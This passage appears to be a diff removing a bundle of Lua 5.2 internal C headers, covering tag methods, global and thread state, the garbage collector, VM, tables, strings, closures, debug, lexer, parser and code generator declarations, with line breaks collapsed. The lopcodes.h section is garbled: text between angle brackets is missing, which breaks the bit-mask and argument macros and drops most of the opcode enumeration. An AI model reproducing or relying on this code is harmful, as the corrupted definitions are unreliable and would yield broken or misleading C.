luaD_poscall (lua_State *L, StkId firstResult); -LUAI_FUNC void luaD_reallocstack (lua_State *L, int newsize); -LUAI_FUNC void luaD_growstack (lua_State *L, int n); -LUAI_FUNC void luaD_shrinkstack (lua_State *L); - -LUAI_FUNC l_noret luaD_throw (lua_State *L, int errcode); -LUAI_FUNC int luaD_rawrunprotected (lua_State *L, Pfunc f, void *ud); - -#endif - -/* -** $Id: ltm.h,v 2.11 2011/02/28 17:32:10 roberto Exp $ -** Tag methods -** See Copyright Notice in lua.h -*/ - -#ifndef ltm_h -#define ltm_h - - - - -/* -* WARNING: if you change the order of this enumeration, -* grep "ORDER TM" -*/ -typedef enum { - TM_INDEX, - TM_NEWINDEX, - TM_GC, - TM_MODE, - TM_LEN, - TM_EQ, /* last tag method with `fast' access */ - TM_ADD, - TM_SUB, - TM_MUL, - TM_DIV, - TM_MOD, - TM_POW, - TM_UNM, - TM_LT, - TM_LE, - TM_CONCAT, - TM_CALL, - TM_N /* number of elements in the enum */ -} TMS; - - - -#define gfasttm(g,et,e) ((et) == NULL ? NULL : \ - ((et)->flags & (1u<<(e))) ? NULL : luaT_gettm(et, e, (g)->tmname[e])) - -#define fasttm(l,et,e) gfasttm(G(l), et, e) - -#define ttypename(x) luaT_typenames_[(x) + 1] -#define objtypename(x) ttypename(ttypenv(x)) - -LUAI_DDEC const char *const luaT_typenames_[LUA_TOTALTAGS]; - - -LUAI_FUNC const TValue *luaT_gettm (Table *events, TMS event, TString *ename); -LUAI_FUNC const TValue *luaT_gettmbyobj (lua_State *L, const TValue *o, - TMS event); -LUAI_FUNC void luaT_init (lua_State *L); - -#endif -/* -** $Id: lstate.h,v 2.81 2012/06/08 15:14:04 roberto Exp $ -** Global State -** See Copyright Notice in lua.h -*/ - -#ifndef lstate_h -#define lstate_h - - - - -/* - -** Some notes about garbage-collected objects: All objects in Lua must -** be kept somehow accessible until being freed. -** -** Lua keeps most objects linked in list g->allgc. The link uses field -** 'next' of the CommonHeader. -** -** Strings are kept in several lists headed by the array g->strt.hash. -** -** Open upvalues are not subject to independent garbage collection. They -** are collected together with their respective threads. Lua keeps a -** double-linked list with all open upvalues (g->uvhead) so that it can -** mark objects referred by them. (They are always gray, so they must -** be remarked in the atomic step. Usually their contents would be marked -** when traversing the respective threads, but the thread may already be -** dead, while the upvalue is still accessible through closures.) -** -** Objects with finalizers are kept in the list g->finobj. -** -** The list g->tobefnz links all objects being finalized. - -*/ - - -struct lua_longjmp; /* defined in ldo.c */ - - - -/* extra stack space to handle TM calls and some other extras */ -#define EXTRA_STACK 5 - - -#define BASIC_STACK_SIZE (2*LUA_MINSTACK) - - -/* kinds of Garbage Collection */ -#define KGC_NORMAL 0 -#define KGC_EMERGENCY 1 /* gc was forced by an allocation failure */ -#define KGC_GEN 2 /* generational collection */ - - -typedef struct stringtable { - GCObject **hash; - lu_int32 nuse; /* number of elements */ - int size; -} stringtable; - - -/* -** information about a call -*/ -typedef struct CallInfo { - StkId func; /* function index in the stack */ - StkId top; /* top for this function */ - struct CallInfo *previous, *next; /* dynamic call link */ - short nresults; /* expected number of results from this function */ - lu_byte callstatus; - ptrdiff_t extra; - union { - struct { /* only for Lua functions */ - StkId base; /* base for this function */ - const Instruction *savedpc; - } l; - struct { /* only for C functions */ - int ctx; /* context info. in case of yields */ - lua_CFunction k; /* continuation in case of yields */ - ptrdiff_t old_errfunc; - lu_byte old_allowhook; - lu_byte status; - } c; - } u; -} CallInfo; - - -/* -** Bits in CallInfo status -*/ -#define CIST_LUA (1<<0) /* call is running a Lua function */ -#define CIST_HOOKED (1<<1) /* call is running a debug hook */ -#define CIST_REENTRY (1<<2) /* call is running on same invocation of - luaV_execute of previous call */ -#define CIST_YIELDED (1<<3) /* call reentered after suspension */ -#define CIST_YPCALL (1<<4) /* call is a yieldable protected call */ -#define CIST_STAT (1<<5) /* call has an error status (pcall) */ -#define CIST_TAIL (1<<6) /* call was tail called */ -#define CIST_HOOKYIELD (1<<7) /* last hook called yielded */ - - -#define isLua(ci) ((ci)->callstatus & CIST_LUA) - - -/* -** `global state', shared by all threads of this state -*/ -typedef struct global_State { - lua_Alloc frealloc; /* function to reallocate memory */ - void *ud; /* auxiliary data to `frealloc' */ - lu_mem totalbytes; /* number of bytes currently allocated - GCdebt */ - l_mem GCdebt; /* bytes allocated not yet compensated by the collector */ - lu_mem GCmemtrav; /* memory traversed by the GC */ - lu_mem GCestimate; /* an estimate of the non-garbage memory in use */ - stringtable strt; /* hash table for strings */ - TValue l_registry; - unsigned int seed; /* randomized seed for hashes */ - lu_byte currentwhite; - lu_byte gcstate; /* state of garbage collector */ - lu_byte gckind; /* kind of GC running */ - lu_byte gcrunning; /* true if GC is running */ - int sweepstrgc; /* position of sweep in `strt' */ - GCObject *allgc; /* list of all collectable objects */ - GCObject *finobj; /* list of collectable objects with finalizers */ - GCObject **sweepgc; /* current position of sweep in list 'allgc' */ - GCObject **sweepfin; /* current position of sweep in list 'finobj' */ - GCObject *gray; /* list of gray objects */ - GCObject *grayagain; /* list of objects to be traversed atomically */ - GCObject *weak; /* list of tables with weak values */ - GCObject *ephemeron; /* list of ephemeron tables (weak keys) */ - GCObject *allweak; /* list of all-weak tables */ - GCObject *tobefnz; /* list of userdata to be GC */ - UpVal uvhead; /* head of double-linked list of all open upvalues */ - Mbuffer buff; /* temporary buffer for string concatenation */ - int gcpause; /* size of pause between successive GCs */ - int gcmajorinc; /* how much to wait for a major GC (only in gen. mode) */ - int gcstepmul; /* GC `granularity' */ - lua_CFunction panic; /* to be called in unprotected errors */ - struct lua_State *mainthread; - const lua_Number *version; /* pointer to version number */ - TString *memerrmsg; /* memory-error message */ - TString *tmname[TM_N]; /* array with tag-method names */ - struct Table *mt[LUA_NUMTAGS]; /* metatables for basic types */ -} global_State; - - -/* -** `per thread' state -*/ -struct lua_State { - CommonHeader; - lu_byte status; - StkId top; /* first free slot in the stack */ - global_State *l_G; - CallInfo *ci; /* call info for current function */ - const Instruction *oldpc; /* last pc traced */ - StkId stack_last; /* last free slot in the stack */ - StkId stack; /* stack base */ - int stacksize; - unsigned short nny; /* number of non-yieldable calls in stack */ - unsigned short nCcalls; /* number of nested C calls */ - lu_byte hookmask; - lu_byte allowhook; - int basehookcount; - int hookcount; - lua_Hook hook; - GCObject *openupval; /* list of open upvalues in this stack */ - GCObject *gclist; - struct lua_longjmp *errorJmp; /* current error recover point */ - ptrdiff_t errfunc; /* current error handling function (stack index) */ - CallInfo base_ci; /* CallInfo for first level (C calling Lua) */ -}; - - -#define G(L) (L->l_G) - - -/* -** Union of all collectable objects -*/ -union GCObject { - GCheader gch; /* common header */ - union TString ts; - union Udata u; - union Closure cl; - struct Table h; - struct Proto p; - struct UpVal uv; - struct lua_State th; /* thread */ -}; - - -#define gch(o) (&(o)->gch) - -/* macros to convert a GCObject into a specific value */ -#define rawgco2ts(o) \ - check_exp(novariant((o)->gch.tt) == LUA_TSTRING, &((o)->ts)) -#define gco2ts(o) (&rawgco2ts(o)->tsv) -#define rawgco2u(o) check_exp((o)->gch.tt == LUA_TUSERDATA, &((o)->u)) -#define gco2u(o) (&rawgco2u(o)->uv) -#define gco2lcl(o) check_exp((o)->gch.tt == LUA_TLCL, &((o)->cl.l)) -#define gco2ccl(o) check_exp((o)->gch.tt == LUA_TCCL, &((o)->cl.c)) -#define gco2cl(o) \ - check_exp(novariant((o)->gch.tt) == LUA_TFUNCTION, &((o)->cl)) -#define gco2t(o) check_exp((o)->gch.tt == LUA_TTABLE, &((o)->h)) -#define gco2p(o) check_exp((o)->gch.tt == LUA_TPROTO, &((o)->p)) -#define gco2uv(o) check_exp((o)->gch.tt == LUA_TUPVAL, &((o)->uv)) -#define gco2th(o) check_exp((o)->gch.tt == LUA_TTHREAD, &((o)->th)) - -/* macro to convert any Lua object into a GCObject */ -#define obj2gco(v) (cast(GCObject *, (v))) - - -/* actual number of total bytes allocated */ -#define gettotalbytes(g) ((g)->totalbytes + (g)->GCdebt) - -LUAI_FUNC void luaE_setdebt (global_State *g, l_mem debt); -LUAI_FUNC void luaE_freethread (lua_State *L, lua_State *L1); -LUAI_FUNC CallInfo *luaE_extendCI (lua_State *L); -LUAI_FUNC void luaE_freeCI (lua_State *L); - - -#endif - -/* -** $Id: lgc.h,v 2.56 2012/05/23 15:43:14 roberto Exp $ -** Garbage Collector -** See Copyright Notice in lua.h -*/ - -#ifndef lgc_h -#define lgc_h - - - -/* -** Collectable objects may have one of three colors: white, which -** means the object is not marked; gray, which means the -** object is marked, but its references may be not marked; and -** black, which means that the object and all its references are marked. -** The main invariant of the garbage collector, while marking objects, -** is that a black object can never point to a white one. Moreover, -** any gray object must be in a "gray list" (gray, grayagain, weak, -** allweak, ephemeron) so that it can be visited again before finishing -** the collection cycle. These lists have no meaning when the invariant -** is not being enforced (e.g., sweep phase). -*/ - - - -/* how much to allocate before next GC step */ -#if !defined(GCSTEPSIZE) -/* ~100 small strings */ -#define GCSTEPSIZE (cast_int(100 * sizeof(TString))) -#endif - - -/* -** Possible states of the Garbage Collector -*/ -#define GCSpropagate 0 -#define GCSatomic 1 -#define GCSsweepstring 2 -#define GCSsweepudata 3 -#define GCSsweep 4 -#define GCSpause 5 - - -#define issweepphase(g) \ - (GCSsweepstring <= (g)->gcstate && (g)->gcstate <= GCSsweep) - -#define isgenerational(g) ((g)->gckind == KGC_GEN) - -/* -** macro to tell when main invariant (white objects cannot point to black -** ones) must be kept. During a non-generational collection, the sweep -** phase may break the invariant, as objects turned white may point to -** still-black objects. The invariant is restored when sweep ends and -** all objects are white again. During a generational collection, the -** invariant must be kept all times. -*/ -#define keepinvariant(g) (isgenerational(g) || g->gcstate <= GCSatomic) - - -/* -** some useful bit tricks -*/ -#define resetbits(x,m) ((x) &= cast(lu_byte, ~(m))) -#define setbits(x,m) ((x) |= (m)) -#define testbits(x,m) ((x) & (m)) -#define bitmask(b) (1<<(b)) -#define bit2mask(b1,b2) (bitmask(b1) | bitmask(b2)) -#define l_setbit(x,b) setbits(x, bitmask(b)) -#define resetbit(x,b) resetbits(x, bitmask(b)) -#define testbit(x,b) testbits(x, bitmask(b)) - - -/* Layout for bit use in `marked' field: */ -#define WHITE0BIT 0 /* object is white (type 0) */ -#define WHITE1BIT 1 /* object is white (type 1) */ -#define BLACKBIT 2 /* object is black */ -#define FINALIZEDBIT 3 /* object has been separated for finalization */ -#define SEPARATED 4 /* object is in 'finobj' list or in 'tobefnz' */ -#define FIXEDBIT 5 /* object is fixed (should not be collected) */ -#define OLDBIT 6 /* object is old (only in generational mode) */ -/* bit 7 is currently used by tests (luaL_checkmemory) */ - -#define WHITEBITS bit2mask(WHITE0BIT, WHITE1BIT) - - -#define iswhite(x) testbits((x)->gch.marked, WHITEBITS) -#define isblack(x) testbit((x)->gch.marked, BLACKBIT) -#define isgray(x) /* neither white nor black */ \ - (!testbits((x)->gch.marked, WHITEBITS | bitmask(BLACKBIT))) - -#define isold(x) testbit((x)->gch.marked, OLDBIT) - -/* MOVE OLD rule: whenever an object is moved to the beginning of - a GC list, its old bit must be cleared */ -#define resetoldbit(o) resetbit((o)->gch.marked, OLDBIT) - -#define otherwhite(g) (g->currentwhite ^ WHITEBITS) -#define isdeadm(ow,m) (!(((m) ^ WHITEBITS) & (ow))) -#define isdead(g,v) isdeadm(otherwhite(g), (v)->gch.marked) - -#define changewhite(x) ((x)->gch.marked ^= WHITEBITS) -#define gray2black(x) l_setbit((x)->gch.marked, BLACKBIT) - -#define valiswhite(x) (iscollectable(x) && iswhite(gcvalue(x))) - -#define luaC_white(g) cast(lu_byte, (g)->currentwhite & WHITEBITS) - - -#define luaC_condGC(L,c) \ - {if (G(L)->GCdebt > 0) {c;}; condchangemem(L);} -#define luaC_checkGC(L) luaC_condGC(L, luaC_step(L);) - - -#define luaC_barrier(L,p,v) { if (valiswhite(v) && isblack(obj2gco(p))) \ - luaC_barrier_(L,obj2gco(p),gcvalue(v)); } - -#define luaC_barrierback(L,p,v) { if (valiswhite(v) && isblack(obj2gco(p))) \ - luaC_barrierback_(L,p); } - -#define luaC_objbarrier(L,p,o) \ - { if (iswhite(obj2gco(o)) && isblack(obj2gco(p))) \ - luaC_barrier_(L,obj2gco(p),obj2gco(o)); } - -#define luaC_objbarrierback(L,p,o) \ - { if (iswhite(obj2gco(o)) && isblack(obj2gco(p))) luaC_barrierback_(L,p); } - -#define luaC_barrierproto(L,p,c) \ - { if (isblack(obj2gco(p))) luaC_barrierproto_(L,p,c); } - -LUAI_FUNC void luaC_freeallobjects (lua_State *L); -LUAI_FUNC void luaC_step (lua_State *L); -LUAI_FUNC void luaC_forcestep (lua_State *L); -LUAI_FUNC void luaC_runtilstate (lua_State *L, int statesmask); -LUAI_FUNC void luaC_fullgc (lua_State *L, int isemergency); -LUAI_FUNC GCObject *luaC_newobj (lua_State *L, int tt, size_t sz, - GCObject **list, int offset); -LUAI_FUNC void luaC_barrier_ (lua_State *L, GCObject *o, GCObject *v); -LUAI_FUNC void luaC_barrierback_ (lua_State *L, GCObject *o); -LUAI_FUNC void luaC_barrierproto_ (lua_State *L, Proto *p, Closure *c); -LUAI_FUNC void luaC_checkfinalizer (lua_State *L, GCObject *o, Table *mt); -LUAI_FUNC void luaC_checkupvalcolor (global_State *g, UpVal *uv); -LUAI_FUNC void luaC_changemode (lua_State *L, int mode); - -#endif -/* -** $Id: lvm.h,v 2.17 2011/05/31 18:27:56 roberto Exp $ -** Lua virtual machine -** See Copyright Notice in lua.h -*/ - -#ifndef lvm_h -#define lvm_h - - - - -#define tostring(L,o) (ttisstring(o) || (luaV_tostring(L, o))) - -#define tonumber(o,n) (ttisnumber(o) || (((o) = luaV_tonumber(o,n)) != NULL)) - -#define equalobj(L,o1,o2) (ttisequal(o1, o2) && luaV_equalobj_(L, o1, o2)) - -#define luaV_rawequalobj(t1,t2) \ - (ttisequal(t1,t2) && luaV_equalobj_(NULL,t1,t2)) - - -/* not to called directly */ -LUAI_FUNC int luaV_equalobj_ (lua_State *L, const TValue *t1, const TValue *t2); - - -LUAI_FUNC int luaV_lessthan (lua_State *L, const TValue *l, const TValue *r); -LUAI_FUNC int luaV_lessequal (lua_State *L, const TValue *l, const TValue *r); -LUAI_FUNC const TValue *luaV_tonumber (const TValue *obj, TValue *n); -LUAI_FUNC int luaV_tostring (lua_State *L, StkId obj); -LUAI_FUNC void luaV_gettable (lua_State *L, const TValue *t, TValue *key, - StkId val); -LUAI_FUNC void luaV_settable (lua_State *L, const TValue *t, TValue *key, - StkId val); -LUAI_FUNC void luaV_finishOp (lua_State *L); -LUAI_FUNC void luaV_execute (lua_State *L); -LUAI_FUNC void luaV_concat (lua_State *L, int total); -LUAI_FUNC void luaV_arith (lua_State *L, StkId ra, const TValue *rb, - const TValue *rc, TMS op); -LUAI_FUNC void luaV_objlen (lua_State *L, StkId ra, const TValue *rb); - -#endif -/* -** $Id: ltable.h,v 2.16 2011/08/17 20:26:47 roberto Exp $ -** Lua tables (hash) -** See Copyright Notice in lua.h -*/ - -#ifndef ltable_h -#define ltable_h - - - -#define gnode(t,i) (&(t)->node[i]) -#define gkey(n) (&(n)->i_key.tvk) -#define gval(n) (&(n)->i_val) -#define gnext(n) ((n)->i_key.nk.next) - -#define invalidateTMcache(t) ((t)->flags = 0) - - -LUAI_FUNC const TValue *luaH_getint (Table *t, int key); -LUAI_FUNC void luaH_setint (lua_State *L, Table *t, int key, TValue *value); -LUAI_FUNC const TValue *luaH_getstr (Table *t, TString *key); -LUAI_FUNC const TValue *luaH_get (Table *t, const TValue *key); -LUAI_FUNC TValue *luaH_newkey (lua_State *L, Table *t, const TValue *key); -LUAI_FUNC TValue *luaH_set (lua_State *L, Table *t, const TValue *key); -LUAI_FUNC Table *luaH_new (lua_State *L); -LUAI_FUNC void luaH_resize (lua_State *L, Table *t, int nasize, int nhsize); -LUAI_FUNC void luaH_resizearray (lua_State *L, Table *t, int nasize); -LUAI_FUNC void luaH_free (lua_State *L, Table *t); -LUAI_FUNC int luaH_next (lua_State *L, Table *t, StkId key); -LUAI_FUNC int luaH_getn (Table *t); - - -#if defined(LUA_DEBUG) -LUAI_FUNC Node *luaH_mainposition (const Table *t, const TValue *key); -LUAI_FUNC int luaH_isdummy (Node *n); -#endif - - -#endif -/* -** $Id: lstring.h,v 1.49 2012/02/01 21:57:15 roberto Exp $ -** String table (keep all strings handled by Lua) -** See Copyright Notice in lua.h -*/ - -#ifndef lstring_h -#define lstring_h - - - -#define sizestring(s) (sizeof(union TString)+((s)->len+1)*sizeof(char)) - -#define sizeudata(u) (sizeof(union Udata)+(u)->len) - -#define luaS_newliteral(L, s) (luaS_newlstr(L, "" s, \ - (sizeof(s)/sizeof(char))-1)) - -#define luaS_fix(s) l_setbit((s)->tsv.marked, FIXEDBIT) - - -/* -** test whether a string is a reserved word -*/ -#define isreserved(s) ((s)->tsv.tt == LUA_TSHRSTR && (s)->tsv.extra > 0) - - -/* -** equality for short strings, which are always internalized -*/ -#define eqshrstr(a,b) check_exp((a)->tsv.tt == LUA_TSHRSTR, (a) == (b)) - - -LUAI_FUNC unsigned int luaS_hash (const char *str, size_t l, unsigned int seed); -LUAI_FUNC int luaS_eqlngstr (TString *a, TString *b); -LUAI_FUNC int luaS_eqstr (TString *a, TString *b); -LUAI_FUNC void luaS_resize (lua_State *L, int newsize); -LUAI_FUNC Udata *luaS_newudata (lua_State *L, size_t s, Table *e); -LUAI_FUNC TString *luaS_newlstr (lua_State *L, const char *str, size_t l); -LUAI_FUNC TString *luaS_new (lua_State *L, const char *str); - - -#endif -/* -** $Id: lfunc.h,v 2.8 2012/05/08 13:53:33 roberto Exp $ -** Auxiliary functions to manipulate prototypes and closures -** See Copyright Notice in lua.h -*/ - -#ifndef lfunc_h -#define lfunc_h - - - - -#define sizeCclosure(n) (cast(int, sizeof(CClosure)) + \ - cast(int, sizeof(TValue)*((n)-1))) - -#define sizeLclosure(n) (cast(int, sizeof(LClosure)) + \ - cast(int, sizeof(TValue *)*((n)-1))) - - -LUAI_FUNC Proto *luaF_newproto (lua_State *L); -LUAI_FUNC Closure *luaF_newCclosure (lua_State *L, int nelems); -LUAI_FUNC Closure *luaF_newLclosure (lua_State *L, int nelems); -LUAI_FUNC UpVal *luaF_newupval (lua_State *L); -LUAI_FUNC UpVal *luaF_findupval (lua_State *L, StkId level); -LUAI_FUNC void luaF_close (lua_State *L, StkId level); -LUAI_FUNC void luaF_freeproto (lua_State *L, Proto *f); -LUAI_FUNC void luaF_freeupval (lua_State *L, UpVal *uv); -LUAI_FUNC const char *luaF_getlocalname (const Proto *func, int local_number, - int pc); - - -#endif -/* -** $Id: lundump.h,v 1.39 2012/05/08 13:53:33 roberto Exp $ -** load precompiled Lua chunks -** See Copyright Notice in lua.h -*/ - -#ifndef lundump_h -#define lundump_h - - -/* load one chunk; from lundump.c */ -LUAI_FUNC Closure* luaU_undump (lua_State* L, ZIO* Z, Mbuffer* buff, const char* name); - -/* make header; from lundump.c */ -LUAI_FUNC void luaU_header (lu_byte* h); - -/* dump one chunk; from ldump.c */ -LUAI_FUNC int luaU_dump (lua_State* L, const Proto* f, lua_Writer w, void* data, int strip); - -/* data to catch conversion errors */ -#define LUAC_TAIL "\x19\x93\r\n\x1a\n" - -/* size in bytes of header of binary files */ -#define LUAC_HEADERSIZE (sizeof(LUA_SIGNATURE)-sizeof(char)+2+6+sizeof(LUAC_TAIL)-sizeof(char)) - -#endif -/* -** $Id: ldebug.h,v 2.7 2011/10/07 20:45:19 roberto Exp $ -** Auxiliary functions from Debug Interface module -** See Copyright Notice in lua.h -*/ - -#ifndef ldebug_h -#define ldebug_h - - - - -#define pcRel(pc, p) (cast(int, (pc) - (p)->code) - 1) - -#define getfuncline(f,pc) (((f)->lineinfo) ? (f)->lineinfo[pc] : 0) - -#define resethookcount(L) (L->hookcount = L->basehookcount) - -/* Active Lua function (given call info) */ -#define ci_func(ci) (clLvalue((ci)->func)) - - -LUAI_FUNC l_noret luaG_typeerror (lua_State *L, const TValue *o, - const char *opname); -LUAI_FUNC l_noret luaG_concaterror (lua_State *L, StkId p1, StkId p2); -LUAI_FUNC l_noret luaG_aritherror (lua_State *L, const TValue *p1, - const TValue *p2); -LUAI_FUNC l_noret luaG_ordererror (lua_State *L, const TValue *p1, - const TValue *p2); -LUAI_FUNC l_noret luaG_runerror (lua_State *L, const char *fmt, ...); -LUAI_FUNC l_noret luaG_errormsg (lua_State *L); - -#endif -/* -** $Id: lopcodes.h,v 1.142 2011/07/15 12:50:29 roberto Exp $ -** Opcodes for Lua virtual machine -** See Copyright Notice in lua.h -*/ - -#ifndef lopcodes_h -#define lopcodes_h - - - -/*=========================================================================== - We assume that instructions are unsigned numbers. - All instructions have an opcode in the first 6 bits. - Instructions can have the following fields: - `A' : 8 bits - `B' : 9 bits - `C' : 9 bits - 'Ax' : 26 bits ('A', 'B', and 'C' together) - `Bx' : 18 bits (`B' and `C' together) - `sBx' : signed Bx - - A signed argument is represented in excess K; that is, the number - value is the unsigned value minus K. K is exactly the maximum value - for that argument (so that -max is represented by 0, and +max is - represented by 2*max), which is half the maximum for the corresponding - unsigned argument. -===========================================================================*/ - - -enum OpMode {iABC, iABx, iAsBx, iAx}; /* basic instruction format */ - - -/* -** size and position of opcode arguments. -*/ -#define SIZE_C 9 -#define SIZE_B 9 -#define SIZE_Bx (SIZE_C + SIZE_B) -#define SIZE_A 8 -#define SIZE_Ax (SIZE_C + SIZE_B + SIZE_A) - -#define SIZE_OP 6 - -#define POS_OP 0 -#define POS_A (POS_OP + SIZE_OP) -#define POS_C (POS_A + SIZE_A) -#define POS_B (POS_C + SIZE_C) -#define POS_Bx POS_C -#define POS_Ax POS_A - - -/* -** limits for opcode arguments. -** we use (signed) int to manipulate most arguments, -** so they must fit in LUAI_BITSINT-1 bits (-1 for sign) -*/ -#if SIZE_Bx < LUAI_BITSINT-1 -#define MAXARG_Bx ((1<>1) /* `sBx' is signed */ -#else -#define MAXARG_Bx MAX_INT -#define MAXARG_sBx MAX_INT -#endif - -#if SIZE_Ax < LUAI_BITSINT-1 -#define MAXARG_Ax ((1<>POS_OP) & MASK1(SIZE_OP,0))) -#define SET_OPCODE(i,o) ((i) = (((i)&MASK0(SIZE_OP,POS_OP)) | \ - ((cast(Instruction, o)<>pos) & MASK1(size,0))) -#define setarg(i,v,pos,size) ((i) = (((i)&MASK0(size,pos)) | \ - ((cast(Instruction, v)<= R(A) + 1 */ -OP_EQ,/* A B C if ((RK(B) == RK(C)) ~= A) then pc++ */ -OP_LT,/* A B C if ((RK(B) < RK(C)) ~= A) then pc++ */ -OP_LE,/* A B C if ((RK(B) <= RK(C)) ~= A) then pc++ */ - -OP_TEST,/* A C if not (R(A) <=> C) then pc++ */ -OP_TESTSET,/* A B C if (R(B) <=> C) then R(A) := R(B) else pc++ */ - -OP_CALL,/* A B C R(A), ... ,R(A+C-2) := R(A)(R(A+1), ... ,R(A+B-1)) */ -OP_TAILCALL,/* A B C return R(A)(R(A+1), ... ,R(A+B-1)) */ -OP_RETURN,/* A B return R(A), ... ,R(A+B-2) (see note) */ - -OP_FORLOOP,/* A sBx R(A)+=R(A+2); - if R(A) > 4) & 3)) -#define getCMode(m) (cast(enum OpArgMask, (luaP_opmodes[m] >> 2) & 3)) -#define testAMode(m) (luaP_opmodes[m] & (1 << 6)) -#define testTMode(m) (luaP_opmodes[m] & (1 << 7)) - - -LUAI_DDEC const char *const luaP_opnames[NUM_OPCODES+1]; /* opcode names */ - - -/* number of list items to accumulate before a SETLIST instruction */ -#define LFIELDS_PER_FLUSH 50 - - -#endif -/* -** $Id: llex.h,v 1.72 2011/11/30 12:43:51 roberto Exp $ -** Lexical Analyzer -** See Copyright Notice in lua.h -*/ - -#ifndef llex_h -#define llex_h - - - -#define FIRST_RESERVED 257 - - - -/* -* WARNING: if you change the order of this enumeration, -* grep "ORDER RESERVED" -*/ -enum RESERVED { - /* terminal symbols denoted by reserved words */ - TK_AND = FIRST_RESERVED, TK_BREAK, - TK_DO, TK_ELSE, TK_ELSEIF, TK_END, TK_FALSE, TK_FOR, TK_FUNCTION, - TK_GOTO, TK_IF, TK_IN, TK_LOCAL, TK_NIL, TK_NOT, TK_OR, TK_REPEAT, - TK_RETURN, TK_THEN, TK_TRUE, TK_UNTIL, TK_WHILE, - /* other terminal symbols */ - TK_CONCAT, TK_DOTS, TK_EQ, TK_GE, TK_LE, TK_NE, TK_DBCOLON, TK_EOS, - TK_NUMBER, TK_NAME, TK_STRING -}; - -/* number of reserved words */ -#define NUM_RESERVED (cast(int, TK_WHILE-FIRST_RESERVED+1)) - - -typedef union { - lua_Number r; - TString *ts; -} SemInfo; /* semantics information */ - - -typedef struct Token { - int token; - SemInfo seminfo; -} Token; - - -/* state of the lexer plus state of the parser when shared by all - functions */ -typedef struct LexState { - int current; /* current character (charint) */ - int linenumber; /* input line counter */ - int lastline; /* line of last token `consumed' */ - Token t; /* current token */ - Token lookahead; /* look ahead token */ - struct FuncState *fs; /* current function (parser) */ - struct lua_State *L; - ZIO *z; /* input stream */ - Mbuffer *buff; /* buffer for tokens */ - struct Dyndata *dyd; /* dynamic structures used by the parser */ - TString *source; /* current source name */ - TString *envn; /* environment variable name */ - char decpoint; /* locale decimal point */ -} LexState; - - -LUAI_FUNC void luaX_init (lua_State *L); -LUAI_FUNC void luaX_setinput (lua_State *L, LexState *ls, ZIO *z, - TString *source, int firstchar); -LUAI_FUNC TString *luaX_newstring (LexState *ls, const char *str, size_t l); -LUAI_FUNC void luaX_next (LexState *ls); -LUAI_FUNC int luaX_lookahead (LexState *ls); -LUAI_FUNC l_noret luaX_syntaxerror (LexState *ls, const char *s); -LUAI_FUNC const char *luaX_token2str (LexState *ls, int token); - - -#endif -/* -** $Id: lparser.h,v 1.70 2012/05/08 13:53:33 roberto Exp $ -** Lua Parser -** See Copyright Notice in lua.h -*/ - -#ifndef lparser_h -#define lparser_h - - - -/* -** Expression descriptor -*/ - -typedef enum { - VVOID, /* no value */ - VNIL, - VTRUE, - VFALSE, - VK, /* info = index of constant in `k' */ - VKNUM, /* nval = numerical value */ - VNONRELOC, /* info = result register */ - VLOCAL, /* info = local register */ - VUPVAL, /* info = index of upvalue in 'upvalues' */ - VINDEXED, /* t = table register/upvalue; idx = index R/K */ - VJMP, /* info = instruction pc */ - VRELOCABLE, /* info = instruction pc */ - VCALL, /* info = instruction pc */ - VVARARG /* info = instruction pc */ -} expkind; - - -#define vkisvar(k) (VLOCAL <= (k) && (k) <= VINDEXED) -#define vkisinreg(k) ((k) == VNONRELOC || (k) == VLOCAL) - -typedef struct expdesc { - expkind k; - union { - struct { /* for indexed variables (VINDEXED) */ - short idx; /* index (R/K) */ - lu_byte t; /* table (register or upvalue) */ - lu_byte vt; /* whether 't' is register (VLOCAL) or upvalue (VUPVAL) */ - } ind; - int info; /* for generic use */ - lua_Number nval; /* for VKNUM */ - } u; - int t; /* patch list of `exit when true' */ - int f; /* patch list of `exit when false' */ -} expdesc; - - -/* description of active local variable */ -typedef struct Vardesc { - short idx; /* variable index in stack */ -} Vardesc; - - -/* description of pending goto statements and label statements */ -typedef struct Labeldesc { - TString *name; /* label identifier */ - int pc; /* position in code */ - int line; /* line where it appeared */ - lu_byte nactvar; /* local level where it appears in current block */ -} Labeldesc; - - -/* list of labels or gotos */ -typedef struct Labellist { - Labeldesc *arr; /* array */ - int n; /* number of entries in use */ - int size; /* array size */ -} Labellist; - - -/* dynamic structures used by the parser */ -typedef struct Dyndata { - struct { /* list of active local variables */ - Vardesc *arr; - int n; - int size; - } actvar; - Labellist gt; /* list of pending gotos */ - Labellist label; /* list of active labels */ -} Dyndata; - - -/* control of blocks */ -struct BlockCnt; /* defined in lparser.c */ - - -/* state needed to generate code for a given function */ -typedef struct FuncState { - Proto *f; /* current function header */ - Table *h; /* table to find (and reuse) elements in `k' */ - struct FuncState *prev; /* enclosing function */ - struct LexState *ls; /* lexical state */ - struct BlockCnt *bl; /* chain of current blocks */ - int pc; /* next position to code (equivalent to `ncode') */ - int lasttarget; /* 'label' of last 'jump label' */ - int jpc; /* list of pending jumps to `pc' */ - int nk; /* number of elements in `k' */ - int np; /* number of elements in `p' */ - int firstlocal; /* index of first local var (in Dyndata array) */ - short nlocvars; /* number of elements in 'f->locvars' */ - lu_byte nactvar; /* number of active local variables */ - lu_byte nups; /* number of upvalues */ - lu_byte freereg; /* first free register */ -} FuncState; - - -LUAI_FUNC Closure *luaY_parser (lua_State *L, ZIO *z, Mbuffer *buff, - Dyndata *dyd, const char *name, int firstchar); - - -#endif -/* -** $Id: lcode.h,v 1.58 2011/08/30 16:26:41 roberto Exp $ -** Code generator for Lua -** See Copyright Notice in lua.h -*/ - -#ifndef lcode_h -#define lcode_h - - - -/* -** Marks the end of a patch list. It is an invalid value both as an absolute -** address, and as a list link (would link an element to itself). -*/ -#define NO_JUMP (-1) - - -/* -** grep "ORDER OPR" if you change these enums (ORDER OP) -*/ -typedef enum BinOpr { - OPR_ADD, OPR_SUB, OPR_MUL, OPR_DIV, OPR_MOD, OPR_POW, - OPR_CONCAT, - OPR_EQ, OPR_LT, OPR_LE, - OPR_NE, OPR_GT, OPR_GE, - OPR_AND, OPR_OR, - OPR_NOBINOPR -} BinOpr; - - -typedef enum UnOpr { OPR_MINUS, OPR_NOT, OPR_LEN, OPR_NOUNOPR } UnOpr; - - -#define getcode(fs,e) ((fs)->f->code[(e)->u.info]) - -#define luaK_codeAsBx(fs,o,A,sBx) luaK_codeABx(fs,o,A,(sBx)+MAXARG_sBx) - -#define luaK_setmultret(fs,e) luaK_setreturns(fs, e, LUA_MULTRET) - -#define luaK_jumpto(fs,t) luaK_patchlist(fs, luaK_jump(fs), t) - -LUAI_FUNC int 